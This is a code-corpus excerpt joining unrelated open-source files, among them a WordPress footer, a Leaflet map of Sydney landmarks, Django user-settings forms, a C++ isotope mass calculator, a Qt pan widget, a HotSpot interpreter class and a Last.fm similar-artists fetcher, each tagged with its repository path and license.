<li><a href="<?php echo $f3 ?>" class="link"><span class="icon tumblr"><i class="fa fa-tumblr"></i></span></a></li>
<?php } ?>
</ul>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="footer-outer-2 outer-top-vs">
<div class="container">
<div class="row">
<div class="col-xs-12 col-sm-7 col-md-6">
<?php echo $cop ?>
</div>
<div class="col-xs-12 col-sm-5 col-md-6 payment-card">
<ul class="payment-link list-unstyled list-inline">
<li><a href="javascript:void(0);"><img src="<?php get_home_url(); ?>/wp-content/themes/wppandashop5/assets/images/payments/master.png" alt="#"></a></li>
<li><a href="javascript:void(0);"><img src="<?php get_home_url(); ?>/wp-content/themes/wppandashop5/assets/images/payments/visa.png" alt=""></a></li>
<li><a href="http://wp-panda.com/" data-toggle="tooltip" data-placement="top" title="Создание сайта"><img style="width: 50px;" src="http://wp-panda.com/wp-content/uploads/2015/03/pandalogo.png" alt="Создание сайта"></a></li>
</ul>
</div>
</div>
</div>
</div>
</div>
</footer> | WP-Panda/m.video | wp-content/themes/wppandashop5/templates/footers/footer-v2.php | PHP | gpl-2.0 | 3,899 |
$(document).ready(function(){
//////Leaflet
var map = new L.Map('map');
var cloudmadeUrl = 'http://{s}.tile.cloudmade.com/d895100ab0a14523b3a3b34b6819e123/997/256/{z}/{x}/{y}.png',
cloudmadeAttrib = 'Map data © 2011 OpenStreetMap contributors, Imagery © 2011 CloudMade',
cloudmade = new L.TileLayer(cloudmadeUrl, {maxZoom: 18, attribution: cloudmadeAttrib});
var sydney = new L.LatLng(-33.859972, 151.211111); // geographical point (longitude and latitude)
map.setView(sydney, 13).addLayer(cloudmade);
//Set up popup containing information and instructions
//Popup and map load at the same time
var welcomePopup = new L.Popup();
welcomePopup.setLatLng(new L.LatLng(-33.859972, 151.211111));
welcomePopup.setContent("<b>Welcome to a brief tour of Sydney!</b>" +
"<p>Click any of the markers to learn more about Sydney. Click the "X" to close each pop up.</p>");
map.openPopup(welcomePopup);
//Set up map markers
//Sydney Olympic Park
var olympicPark = new L.LatLng(-33.84801, 151.06488);
var olympicParkMarker = new L.Marker(olympicPark);
map.addLayer(olympicParkMarker);
olympicParkMarker.bindPopup("<b>Sydney Olympic Park</b>" +
"<img src=\"http://upload.wikimedia.org/wikipedia/commons/thumb/c/cd/Stadium_Australia_2.jpg/320px-Stadium_Australia_2.jpg\">" +
"<p>Home of the 2000 Olympics. The facilities built continue to be used for sporting and cultural events, as well as commercial development and extensive parklands.</p>",
{ maxWidth: 358 });
//Sydney Opera House
var sydneyOperaHouse = new L.LatLng(-33.858667, 151.214028);
var sydneyOperaHouseMarker = new L.Marker(sydneyOperaHouse);
map.addLayer(sydneyOperaHouseMarker);
sydneyOperaHouseMarker.bindPopup("<b>Sydney Opera House</b>" +
"<img src=\"http://upload.wikimedia.org/wikipedia/commons/thumb/3/38/Sydney_opera_house_side_view.jpg/320px-Sydney_opera_house_side_view.jpg\" alt=\"Sydney Opera House\">" +
"<p>The Sydney Opera House is a multi-venue performing arts centre. As one of the busiest performing arts centres in the world, it hosts over 1,500 performances each year attended by some 1.2 million people, and more than seven million tourists visiting the site each year, 300,000 of whom take a guided tour.</p>",
{ maxWidth: 358 });
//Sydney Harbour Bridge
var sydneyHarbourBridge = new L.LatLng(-33.852222, 151.210556);
var sydneyHarbourBridgeMarker = new L.Marker(sydneyHarbourBridge);
map.addLayer(sydneyHarbourBridgeMarker);
sydneyHarbourBridgeMarker.bindPopup("<b>Sydney Harbour Bridge</b>" +
"<img src=\"http://upload.wikimedia.org/wikipedia/commons/thumb/d/d1/Sydney_Harbour_Bridge_from_Circular_Quay.jpg/320px-Sydney_Harbour_Bridge_from_Circular_Quay.jpg\" alt=\"Sydney Harbour Bridge\">" +
"<p>Crosses the harbour from the The Rocks to North Sydney. There are many different experiences centred around the bridge. You can walk or cycle across, picnic under, or climb over the Harbour Bridge.</p>",
{ maxWidth: 358 });
//Darling Habour
var darlingHarbour = new L.LatLng(-33.8723, 151.19896);
var darlingHarbourMarker = new L.Marker(darlingHarbour);
map.addLayer(darlingHarbourMarker);
darlingHarbourMarker.bindPopup("<b>Darling Harbour</b>" +
"<img src=\"http://upload.wikimedia.org/wikipedia/commons/thumb/4/44/Sydney_sunset_darling_harbour.jpg/320px-Sydney_sunset_darling_harbour.jpg\" alt=\"Darling Harbour\">" +
"<p>A large tourist precinct that includes a range of activities, restaurants, museums and shopping facilities.</p>",
{ maxWidth: 358 });
//St Mary's Cathedral
var cathedral = new L.LatLng(-33.871133, 151.213208);
var cathedralMarker = new L.Marker(cathedral);
map.addLayer(cathedralMarker);
cathedralMarker.bindPopup("<b>St. Mary's Cathedral</b>" +
"<img src=\"http://upload.wikimedia.org/wikipedia/commons/thumb/1/1d/StMarysCathedral_fromHydePark.JPG/320px-StMarysCathedral_fromHydePark.JPG\" alt=\"St. Mary's Cathedral\">" +
"<p>Sydney's main catholic cathedral. The cathedral is dedicated to \"Mary, Help of Christians\", Patron of Australia.</p>",
{ maxWidth: 358 });
//Sydney Tower Eye
var sydneyTower = new L.LatLng(-33.870456, 151.208889);
var sydneyTowerMarker = new L.Marker(sydneyTower);
map.addLayer(sydneyTowerMarker);
sydneyTowerMarker.bindPopup("<b>Sydney Tower Eye</b>" +
"<img src=\"http://upload.wikimedia.org/wikipedia/commons/thumb/a/a5/Centrepoint_evening_blues.jpg/159px-Centrepoint_evening_blues.jpg\" alt=\"Sydney Tower Eye\">" +
"<p>The tallest structure in Sydney. The tower contains a buffet, cafe and a rather large restaurant and attracts many visitors a year.</p>",
{ maxWidth: 278 });
//Royal Botanic Gardens
var botanicGardens = new L.LatLng(-33.863889, 151.216944);
var botanicGardensMarker = new L.Marker(botanicGardens);
map.addLayer(botanicGardensMarker);
botanicGardensMarker.bindPopup("<b>Royal Botanic Gardens, Sydney</b>" +
"<img src=\"http://upload.wikimedia.org/wikipedia/commons/1/1f/Sydney_Royal_Botanic_Gardens_01.jpg\" alt=\"Royal Botanic Gardens, Sydney\" width=320>" +
"<p>The gardens are at the north eastern corner of the City Centre and overlook Sydney harbour. The gardens cover 30 hectares and represent 7500 species of plants</p>",
{ maxWidth: 358 });
//Luna Park
var lunaPark = new L.LatLng(-33.848222, 151.209972);
var lunaParkMarker = new L.Marker(lunaPark);
map.addLayer(lunaParkMarker);
lunaParkMarker.bindPopup("<b>Luna Park, Sydney</b>" +
"<img src=\"http://upload.wikimedia.org/wikipedia/commons/thumb/9/9a/03.01.2009-luna_entrance2.jpg/320px-03.01.2009-luna_entrance2.jpg\" alt=\"Luna Park, Sydney\">" +
"<p>Luna Park is a large theme park situated near the Sydney Harbour Bridge. Its mouth-shaped entrance and ferris wheel can be seen from many areas of Sydney.</p>",
{ maxWidth: 358 });
//Sydney Aqaurium
var sydneyAquarium = new L.LatLng(-33.869444, 151.201944);
var sydneyAquariumMarker = new L.Marker(sydneyAquarium);
map.addLayer(sydneyAquariumMarker);
sydneyAquariumMarker.bindPopup("<b>Sydney Aquarium</b>" +
"<img src=\"http://upload.wikimedia.org/wikipedia/commons/thumb/8/86/Sydney_Aquarium.jpg/320px-Sydney_Aquarium.jpg\">" +
"<p>Located in New South Wales and open to the public, the aquarium contains a large variety of Australian aquatic life, displaying more than 650 species comprising more than 6,000 individual fish and other sea creatures.</p>",
{ maxWidth: 358 });
//The Rocks
var theRocks = new L.LatLng(-33.85985, 151.20901);
var theRocksMarker = new L.Marker(theRocks);
map.addLayer(theRocksMarker);
theRocksMarker.bindPopup("<b>The Rocks</b>" +
"<img src=\"http://upload.wikimedia.org/wikipedia/commons/thumb/b/b6/SydneyTheRocks1_gobeirne.jpg/320px-SydneyTheRocks1_gobeirne.jpg\">" +
"<p>The Rocks is Syndey's historic area and includes sites preserved from Sydney's earliest settlements in 1788.</p>",
{ maxWidth: 358 });
//Taronga Zoo
var tarongaZoo = new L.LatLng(-33.843333, 151.241111);
var tarongaZooMarker = new L.Marker(tarongaZoo);
map.addLayer(tarongaZooMarker);
tarongaZooMarker.bindPopup("<b>Taronga Zoo</b>" +
"<img src=\"http://upload.wikimedia.org/wikipedia/commons/thumb/7/79/Taronga_Park_Zoo_-7Sept2008.jpg/240px-Taronga_Park_Zoo_-7Sept2008.jpg\">" +
"<p>Taronga Zoo is home to over 2,600 animals on 21 hectares. Daily activities include bird and seal shows, up-close encounters with animals such as giraffes and koalas, and talks with animal trainers.</p>",
{ maxWidth: 278 });
//Sydney Cove
var sydneyCove = new L.LatLng(-33.858611, 151.211667);
var sydneyCoveMarker = new L.Marker(sydneyCove);
map.addLayer(sydneyCoveMarker);
sydneyCoveMarker.bindPopup("<b>Sydney Cove</b>" +
"<img src=\"http://upload.wikimedia.org/wikipedia/commons/thumb/a/ae/Circularkey.jpg/320px-Circularkey.jpg\">" +
"<p>Sydney Cove is the birthplace of Sydney, established as a penal colony by Arthur Phillip in 1788. Along with The Rocks, it is considered one of the most important historical settlements in Australia.</p>",
{ maxWidth: 358 });
//////End Leaflet
});//End ready | nledford/WebDesignPortfolio | Sydney/js/script.js | JavaScript | gpl-2.0 | 8,397 |
package zsoltmester.qcn.tools;
import android.util.Log;
public class Logger {
private final boolean IS_RELEASE_MODE = false;
private String logTag;
private Logger(String logTag) {
this.logTag = logTag;
}
public static Logger createWithLogTag(String logTag) {
return new Logger(logTag);
}
public void log(String message) {
if (IS_RELEASE_MODE) {
// Nothing to log in release.
return;
}
Log.d(logTag, message);
}
}
| zsoltmester/qcn | app/src/main/java/zsoltmester/qcn/tools/Logger.java | Java | gpl-2.0 | 452 |
from django.contrib.auth import get_user_model
from django.utils.translation import ugettext_lazy as _
from django.utils.translation import ungettext
from misago.conf import settings
from misago.core import forms
from ..models import AUTO_SUBSCRIBE_CHOICES, PRIVATE_THREAD_INVITES_LIMITS_CHOICES
from ..validators import validate_email, validate_password
class ForumOptionsForm(forms.ModelForm):
is_hiding_presence = forms.YesNoSwitch()
limits_private_thread_invites_to = forms.TypedChoiceField(
coerce=int, choices=PRIVATE_THREAD_INVITES_LIMITS_CHOICES)
subscribe_to_started_threads = forms.TypedChoiceField(
coerce=int, choices=AUTO_SUBSCRIBE_CHOICES)
subscribe_to_replied_threads = forms.TypedChoiceField(
coerce=int, choices=AUTO_SUBSCRIBE_CHOICES)
class Meta:
model = get_user_model()
fields = [
'is_hiding_presence',
'limits_private_thread_invites_to',
'subscribe_to_started_threads',
'subscribe_to_replied_threads'
]
class EditSignatureForm(forms.ModelForm):
signature = forms.CharField(required=False)
class Meta:
model = get_user_model()
fields = ['signature']
def clean(self):
data = super(EditSignatureForm, self).clean()
if len(data.get('signature', '')) > settings.signature_length_max:
raise forms.ValidationError(_("Signature is too long."))
return data
class ChangePasswordForm(forms.Form):
password = forms.CharField(max_length=200)
new_password = forms.CharField(max_length=200)
def __init__(self, *args, **kwargs):
self.user = kwargs.pop('user', None)
super(ChangePasswordForm, self).__init__(*args, **kwargs)
def clean_password(self):
if not self.user.check_password(self.cleaned_data['password']):
raise forms.ValidationError(_("Entered password is invalid."))
def clean_new_password(self):
data = self.cleaned_data['new_password']
validate_password(data)
return data
class ChangeEmailForm(forms.Form):
password = forms.CharField(max_length=200)
new_email = forms.CharField(max_length=200)
def __init__(self, *args, **kwargs):
self.user = kwargs.pop('user', None)
super(ChangeEmailForm, self).__init__(*args, **kwargs)
def clean_password(self):
if not self.user.check_password(self.cleaned_data['password']):
raise forms.ValidationError(_("Entered password is invalid."))
def clean_new_email(self):
data = self.cleaned_data['new_email']
if not data:
message = _("You have to enter new e-mail address.")
raise forms.ValidationError(message)
if data.lower() == self.user.email.lower():
message = _("New e-mail is same as current one.")
raise forms.ValidationError(message)
validate_email(data)
return data
| 1905410/Misago | misago/users/forms/options.py | Python | gpl-2.0 | 2,957 |
<?php
App::uses('AppModel', 'Model');
class Category extends AppModel {
public $name = 'Category';
public $actsAs = array('Tree');
public $belongsTo = array(
'Parent' => array(
'className' => 'Category',
'foreignKey' => 'parent_id',
'conditions' => '',
'fields' => '',
'order' => ''
)
);
public $hasMany = array(
'ChildCategory' => array(
'className' => 'Category',
'foreignKey' => 'parent_id',
'dependent' => false,
'conditions' => '',
'fields' => '',
'order' => '',
'limit' => '',
'offset' => '',
'exclusive' => '',
'finderQuery' => '',
'counterQuery' => ''
)
);
}
| portalgas/site | components/com_cake/app/Model/Category.php | PHP | gpl-2.0 | 640 |
// part of crap
// author: Ulrike Hager
#include <fstream>
#include <cstdlib>
#include <iostream>
#include <iomanip>
#include <cmath>
#include <string>
#include "crapclasses.h"
#define AMU 931494.013
#define M_e 510.998918
using std::string;
CIsotope CIsotope::operator= (CIsotope isotope)
{
isotope.A = A;
isotope.mass = mass;
isotope.elem = elem;
isotope.ME = ME;
return *this;
}
void CIsotope::make_isotope(string row)
{
string substr1(row,11,6);
int t = substr1.find_first_not_of("0123456789");
A = atoi(substr1.substr(0,t).c_str());
elem = substr1.substr(t,substr1.size()-t+1);
string substr2(row,18,11);
size_t s = elem.find(" ");
if (s != string::npos) elem.erase(s);
ME = atof(substr2.c_str());
mass = A * AMU + ME ;
// std::cout << elem << A << "\t" << ME << "\t" << mass << "\n";
}
string CIsotope::get_name()
{
char buffer[64];
sprintf(buffer,"%d",A);
string name = buffer + elem;
return(name);
}
void CIsotope::unmake_name(string n)
{
size_t s = n.find_first_of("1234567890");
size_t t = n.find_last_of("1234567890");
size_t u = n.find_first_not_of("1234567890");
size_t v = n.find_last_not_of("1234567890");
A = atoi(n.substr(s,t-s+1).c_str());
elem = n.substr(u,v-u+1);
}
double CIsotope::calc_freq(CRef cref)
{
double freq = (cref.get_mass()-M_e) * cref.get_freq()/(mass-M_e);
return(freq);
}
void CRead::count_lines()
{
std::ifstream xfile;
string row;
int counter = 0;
xfile.open(filename.c_str());
if (!xfile) std::cout << filename << " could not be opened to count lines\n";
while (!xfile.eof())
{
getline(xfile,row);
counter++;
}
xfile.close();
lines = counter-1;
// std::cout << lines << " lines in " << filename << "\n";
}
string CRead::read_line(int linenumber)
{
std::ifstream xfile;
string row;
xfile.open(filename.c_str());
if (!xfile) std::cout << filename << " could not be opened\n";
for (int i=0;i<linenumber+1;i++) getline(xfile,row);
xfile.close();
return(row);
}
CMolecule CMolecule::operator= (CMolecule molecule)
{
molecule.name = name;
molecule.mass = mass;
return *this;
}
double CMolecule::get_freq(CRef cref, int q)
{
double freq = (cref.get_mass()-M_e) * q* cref.freq/(mass-M_e);
return(freq);
}
CMolecule CMolecule::operator+ (CIsotope isotope)
{
mass += isotope.get_mass();
name += isotope.get_name();
return *this;
}
void CMolecule::unmake_mol(string mol)
{
if (mol.size()==0) return;
size_t s = 0;
size_t t = 0;
do
{
mol = mol.substr(s,mol.size()-s);
s = mol.find_first_not_of("1234567890");
if (s==string::npos)
{
cref.push_back(atoi(mol.c_str()));
cref[cref.size()-1].set_elem("StupidUsers");
cref[cref.size()-1].name = cref[cref.size()-1].get_name();
cref[cref.size()-1].read_ame();
break;
}
t = mol.size();
int tempA = atoi(mol.substr(0,s).c_str());
//try
//{
mol = mol.substr(s,t-s);
s = mol.find_first_of("1234567890");
string tempelem = mol.substr(0,s);
cref.push_back(tempA);
cref[cref.size()-1].set_elem(tempelem);
cref[cref.size()-1].name = cref[cref.size()-1].get_name();
cref[cref.size()-1].read_ame();
//}
/* catch(...)
{
cref.push_back(atoi(mol.c_str()));
cref[cref.size()-1].set_elem("StupidUsers");
cref[cref.size()-1].name = cref[cref.size()-1].get_name();
cref[cref.size()-1].read_ame();
break;
}*/
// std::cout << tempA << "\t" << tempelem << std::endl;
} while ( s != string::npos);
}
void CMolecule::cluster(int size)
{
mass = size*12*AMU;
char csize[64];
sprintf(csize,"%dxC12",size);
name = csize;
}
void CRef::make_ref(string filename)
{
std::ifstream xfile;
xfile.open(filename.c_str());
if (!xfile){std::cout << "could not read crap\n"; exit(0);}
while(!xfile.eof()){
string row;
getline(xfile,row);
if (row[0]=='?') continue;
int s = row.find(':');
int t = row.find('?');
string substr1(row,0,s);
string substr2(row,s+1,t-s-1);
if (substr1=="ref_mass") set_A(atoi(substr2.c_str()));
if (substr1=="ref_element") set_elem(substr2);
if (substr1=="ref_frequency") freq = atof(substr2.c_str());
}
xfile.close();
}
void CRef::read_ame()
{
string nubtab("nubtab03.asc");
char fname[256];
string row;
std::ifstream afile;
int check =0;
sprintf(fname,"%s",nubtab.c_str());
afile.open(fname);
if (!afile) {std::cout << fname << " could not be opened\n"; exit(0);}
while (!afile.eof() && check <1)
{
getline(afile,row);
if (row.size()<30) continue;
string substr1(row,11,6);
string substr2(row,18,11);
string substr3(row,29,9);
size_t s = substr1.find(" ");
if (s != string::npos) substr1.erase(s);
if (substr1 == name)
{
set_ME(atof(substr2.c_str()));
check++;
}
}
afile.close();
set_mass(get_A() * AMU + get_ME());
if (check==0) set_mass(0);
}
void CCont::make_masses(CRef cref)
{
mass_lower = (cref.get_mass()-M_e)*q*cref.get_freq()/(cont_freq+cont_freq_error)+M_e;
mass_higher = (cref.get_mass()-M_e)*q*cref.get_freq()/(cont_freq-cont_freq_error)+M_e;
A_limit = (mass_higher/AMU)+3;
}
int CCont::compare1(CMolecule molecule, int count, int i)
{
int c = (molecule.get_mass()<i*(mass_lower-0.6*AMU)/(count*1.0))? 10:0 ;
int d = (molecule.get_mass()>(mass_higher+0.6*AMU))? 1:0 ;
return(d+c);
}
int CCont::compare2(CMolecule molecule)
{
int c = (molecule.get_mass()>=mass_lower && molecule.get_mass()<=mass_higher)? 1:0 ;
return(c);
}
void CTable::make_table(int stable)
{
if (stable == 0) {filename = "nubtab03.asc"; high_limit = 4300;}
if (stable == 1) {filename = "stable.asc"; high_limit = 257;}
}
void CTable::ini_isotopes(double limit)
{
CRead tread(filename);
int i=0;
do
{
isotope.push_back(tread.read_line(i));
i++;
}while (isotope.at(i-1).get_A()<limit && i<high_limit-1);
high_limit=i-1;
// std::cout << high_limit << "high_limit adjusted\n";
}
| uhager/crap-calculator | crapclasses.cpp | C++ | gpl-2.0 | 6,036 |
/**
* This file is a part of LuminanceHDR package.
* ----------------------------------------------------------------------
* Copyright (C) 2006,2007 Giuseppe Rota
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
* ----------------------------------------------------------------------
*
* @author Giuseppe Rota <grota@users.sourceforge.net>
*
*/
#include <QApplication>
#include <QDesktopWidget>
#include <QPaintEvent>
#include <QPainter>
#include <cmath>
#include "arch/math.h"
#include "PanIconWidget.h"
PanIconWidget::PanIconWidget(QWidget *parent, Qt::WindowFlags flags)
: QFrame(parent, flags),
xpos(0),
ypos(0),
m_width(0),
m_height(0),
m_orgWidth(0),
m_orgHeight(0) {
this->setAttribute(Qt::WA_DeleteOnClose);
// this->setFrameStyle(QFrame::Box|QFrame::Plain);
// setLineWidth(1);
// setMidLineWidth(2);
// setContentsMargins(2,2,2,2);
m_image = nullptr;
moveSelection = false;
setMouseTracking(true); // necessary?
}
void PanIconWidget::setImage(const QImage *fullsize) {
m_image = new QImage(fullsize->scaled(180, 120, Qt::KeepAspectRatio));
m_width = m_image->width();
m_height = m_image->height();
m_orgWidth = fullsize->width();
m_orgHeight = fullsize->height();
setFixedSize(m_width + 2 * frameWidth(), m_height + 2 * frameWidth());
// m_rect = QRect(width()/2-m_width/2, height()/2-m_height/2, m_width,
// m_height);
// KPopupFrame::setMainWidget = resize
resize(m_width + 2 * frameWidth(), m_height + 2 * frameWidth());
// qDebug("wanted w=%d, h=%d",m_width+2*frameWidth(),
// m_height+2*frameWidth());
}
void PanIconWidget::regionSelectionMoved() {
int x = (int)round(
((float)m_localRegionSelection.x() /*- (float)m_rect.x()*/) *
((float)m_orgWidth / (float)m_width));
int y = (int)round(
((float)m_localRegionSelection.y() /*- (float)m_rect.y()*/) *
((float)m_orgHeight / (float)m_height));
int w = (int)round((float)m_localRegionSelection.width() *
((float)m_orgWidth / (float)m_width));
int h = (int)round((float)m_localRegionSelection.height() *
((float)m_orgHeight / (float)m_height));
regionSelection.setX(x);
regionSelection.setY(y);
regionSelection.setWidth(w);
regionSelection.setHeight(h);
update();
emit selectionMoved(regionSelection);
}
void PanIconWidget::setMouseFocus() {
raise();
xpos = m_localRegionSelection.center().x();
ypos = m_localRegionSelection.center().y();
moveSelection = true;
// emit signalSelectionTakeFocus(); //start moving? hook?
}
void PanIconWidget::setCursorToLocalRegionSelectionCenter(void) {
QCursor::setPos(mapToGlobal(m_localRegionSelection.center()));
}
void PanIconWidget::setRegionSelection(QRect rs) {
// rs is the rect of viewport (xy,wh) over entire image area (corrected
// considering zoom)
// store it
this->regionSelection = rs;
// and now scale it to this widget's size/original_image_size
m_localRegionSelection.setX(/*m_rect.x() +*/ (
int)((float)rs.x() * ((float)m_width / (float)m_orgWidth)));
m_localRegionSelection.setY(/*m_rect.y() +*/ (
int)((float)rs.y() * ((float)m_height / (float)m_orgHeight)));
m_localRegionSelection.setWidth(
(int)((float)rs.width() * ((float)m_width / (float)m_orgWidth)));
m_localRegionSelection.setHeight(
(int)((float)rs.height() * ((float)m_height / (float)m_orgHeight)));
}
void PanIconWidget::mousePressEvent(QMouseEvent *e) {
if ((e->button() == Qt::LeftButton || e->button() == Qt::MidButton) &&
m_localRegionSelection.contains(e->x(), e->y())) {
xpos = e->x();
ypos = e->y();
moveSelection = true;
// emit signalSelectionTakeFocus();
}
}
void PanIconWidget::mouseMoveEvent(QMouseEvent *e) {
if (moveSelection &&
(e->buttons() == Qt::LeftButton || e->buttons() == Qt::MidButton)) {
int newxpos = e->x();
int newypos = e->y();
m_localRegionSelection.translate(newxpos - xpos, newypos - ypos);
xpos = newxpos;
ypos = newypos;
// Perform normalization of selection area.
if (m_localRegionSelection.left() < /*m_rect.left()*/ 0)
m_localRegionSelection.moveLeft(/*m_rect.left()*/ 0);
if (m_localRegionSelection.top() < /*m_rect.top()*/ 0)
m_localRegionSelection.moveTop(/*m_rect.top()*/ 0);
if (m_localRegionSelection.right() > /*m_rect.right()*/ width())
m_localRegionSelection.moveRight(/*m_rect.right()*/ width());
if (m_localRegionSelection.bottom() > /*m_rect.bottom()*/ height())
m_localRegionSelection.moveBottom(/*m_rect.bottom()*/ height());
update();
regionSelectionMoved();
return;
} else {
if (m_localRegionSelection.contains(e->x(), e->y()))
QApplication::setOverrideCursor(QCursor(Qt::PointingHandCursor));
else
QApplication::restoreOverrideCursor();
}
}
void PanIconWidget::mouseReleaseEvent(QMouseEvent *) {
if (moveSelection) {
moveSelection = false;
QApplication::restoreOverrideCursor();
regionSelectionMoved();
emit finished();
}
}
PanIconWidget::~PanIconWidget() {
if (m_image) delete m_image;
}
void PanIconWidget::paintEvent(QPaintEvent *e) {
if (m_image == nullptr) return;
QPainter p(this);
p.drawImage(e->rect(), *m_image);
p.setPen(QPen(Qt::white, 1, Qt::SolidLine));
p.drawRect(m_localRegionSelection.x(), m_localRegionSelection.y(),
m_localRegionSelection.width(), m_localRegionSelection.height());
p.setPen(QPen(Qt::red, 1, Qt::DotLine));
p.drawRect(m_localRegionSelection.x(), m_localRegionSelection.y(),
m_localRegionSelection.width(), m_localRegionSelection.height());
// qDebug("m_image w=%d, h=%d",m_image->width(), m_image->height());
}
void PanIconWidget::popup(const QPoint &pos) {
QRect d = QApplication::desktop()->screenGeometry();
int x = pos.x();
int y = pos.y();
int w = width();
int h = height();
if (x + w > d.x() + d.width()) x = d.width() - w;
if (y + h > d.y() + d.height()) y = d.height() - h;
if (x < d.x()) x = 0;
if (y < d.y()) y = 0;
// Pop the thingy up.
move(x, y);
show();
}
// KPopupFrame::resizeEvent(QResizeEvent*)
// main->setGeometry(frameWidth(), frameWidth(),
// width()-2*frameWidth(), height()-2*frameWidth());
| LuminanceHDR/LuminanceHDR | src/Viewers/PanIconWidget.cpp | C++ | gpl-2.0 | 7,336 |
/*
* Copyright 2000-2004 Sun Microsystems, Inc. All Rights Reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Sun Microsystems, Inc., 4150 Network Circle, Santa Clara,
* CA 95054 USA or visit www.sun.com if you need additional information or
* have any questions.
*
*/
package sun.jvm.hotspot.interpreter;
import java.io.*;
import java.util.*;
import sun.jvm.hotspot.code.*;
import sun.jvm.hotspot.debugger.*;
import sun.jvm.hotspot.runtime.*;
import sun.jvm.hotspot.types.*;
import sun.jvm.hotspot.utilities.*;
/** An InterpreterCodelet is a piece of interpreter code. All
interpreter code is generated into little codelets which contain
extra information for debugging and printing purposes. */
public class InterpreterCodelet extends Stub {
private static long instanceSize;
private static CIntegerField sizeField; // the size in bytes
private static AddressField descriptionField; // a description of the codelet, for debugging & printing
private static CIntegerField bytecodeField; // associated bytecode if any
static {
VM.registerVMInitializedObserver(new Observer() {
public void update(Observable o, Object data) {
initialize(VM.getVM().getTypeDataBase());
}
});
}
private static synchronized void initialize(TypeDataBase db) {
Type type = db.lookupType("InterpreterCodelet");
sizeField = type.getCIntegerField("_size");
descriptionField = type.getAddressField("_description");
bytecodeField = type.getCIntegerField("_bytecode");
instanceSize = type.getSize();
}
public InterpreterCodelet(Address addr) {
super(addr);
}
public long getSize() {
return sizeField.getValue(addr);
}
public Address codeBegin() {
return addr.addOffsetTo(instanceSize);
}
public Address codeEnd() {
return addr.addOffsetTo(getSize());
}
public long codeSize() {
return codeEnd().minus(codeBegin());
}
public String getDescription() {
return CStringUtilities.getString(descriptionField.getValue(addr));
}
public void verify() {
}
public void printOn(PrintStream tty) {
String desc = getDescription();
if (desc != null) {
tty.print(desc);
}
// FIXME: add printing of bytecode
tty.println(" [" + codeBegin() + ", " + codeEnd() + ") " +
codeSize() + " bytes ");
// FIXME: add disassembly
}
}
| TheTypoMaster/Scaper | openjdk/hotspot/agent/src/share/classes/sun/jvm/hotspot/interpreter/InterpreterCodelet.java | Java | gpl-2.0 | 3,222 |
package com.pugh.sockso.web.action;
import com.pugh.sockso.cache.CacheException;
import com.pugh.sockso.cache.ObjectCache;
import com.pugh.sockso.Utils;
import com.pugh.sockso.db.Database;
import com.pugh.sockso.web.BadRequestException;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import org.apache.log4j.Logger;
import com.google.inject.Inject;
public class AudioScrobbler {
private final int ONE_HOUR_IN_SECONDS = 60 * 60;
private final int CACHE_TIMEOUT_IN_SECONDS = ONE_HOUR_IN_SECONDS;
private final Logger log = Logger.getLogger( AudioScrobbler.class );
private Database db;
private ObjectCache cache;
/**
* Creates a new AudioScrobbler object
*
* @param db
*
*/
@Inject
public AudioScrobbler( final Database db, final ObjectCache cache ) {
this.db = db;
this.cache = cache;
}
/**
* Fetches related artist info
*
* @param artistId
*
* @return
*
* @throws IOException
* @throws SQLException
* @throws BadRequestException
*
*/
public String[] getSimilarArtists( final int artistId ) throws IOException, SQLException, BadRequestException, CacheException {
final String cacheKey = "web.action.AudioScrobbler.similar." +artistId;
if ( !cache.isCached(cacheKey) ) {
cache.write(
cacheKey,
getSimilarArtists( getArtistName(artistId) ),
CACHE_TIMEOUT_IN_SECONDS
);
}
return (String[]) cache.read( cacheKey );
}
/**
* Fetches similar artists by artist name
*
* @param artistName
*
* @return
*
* @throws IOException
*
*/
protected String[] getSimilarArtists( final String artistName ) throws IOException {
BufferedReader in = null;
try {
log.debug( "Fetching similar artists for: " +artistName );
final String url = "http://ws.audioscrobbler.com/1.0/artist/" +Utils.URLEncode(artistName)+ "/similar.txt";
final HttpURLConnection cnn = getHttpURLConnection( url );
final ArrayList<String> artists = new ArrayList<String>();
String s = "";
in = new BufferedReader(new InputStreamReader(cnn.getInputStream()) );
while ( (s = in.readLine()) != null ) {
final String[] info = s.split( "," );
artists.add( info[2] );
}
return artists.toArray( new String[] {} );
}
finally {
Utils.close( in );
}
}
/**
* Resolves an artist id to name, or throws an exception
*
* @param artistId
*
* @return
*
* @throws SQLException
* @throws BadRequestException
*
*/
protected String getArtistName( final int artistId ) throws SQLException, BadRequestException {
ResultSet rs = null;
PreparedStatement st = null;
try {
final String sql = " select name " +
" from artists " +
" where id = ? ";
st = db.prepare( sql );
st.setInt( 1, artistId );
rs = st.executeQuery();
if ( !rs.next() )
throw new BadRequestException( "unknown artist", 404 );
return rs.getString( "name" );
}
finally {
Utils.close( rs );
Utils.close( st );
}
}
/**
* Returns a connection object for the specified URL (seam for testing)
*
* @param url
*
* @return
*
* @throws IOException
*
*/
protected HttpURLConnection getHttpURLConnection( final String url ) throws IOException {
return (HttpURLConnection) new URL( url ).openConnection();
}
}
| rodnaph/sockso | src/com/pugh/sockso/web/action/AudioScrobbler.java | Java | gpl-2.0 | 4,136 |
#include <QApplication>
#include "mainwindow.h"
int main(int argc, char ** args) {
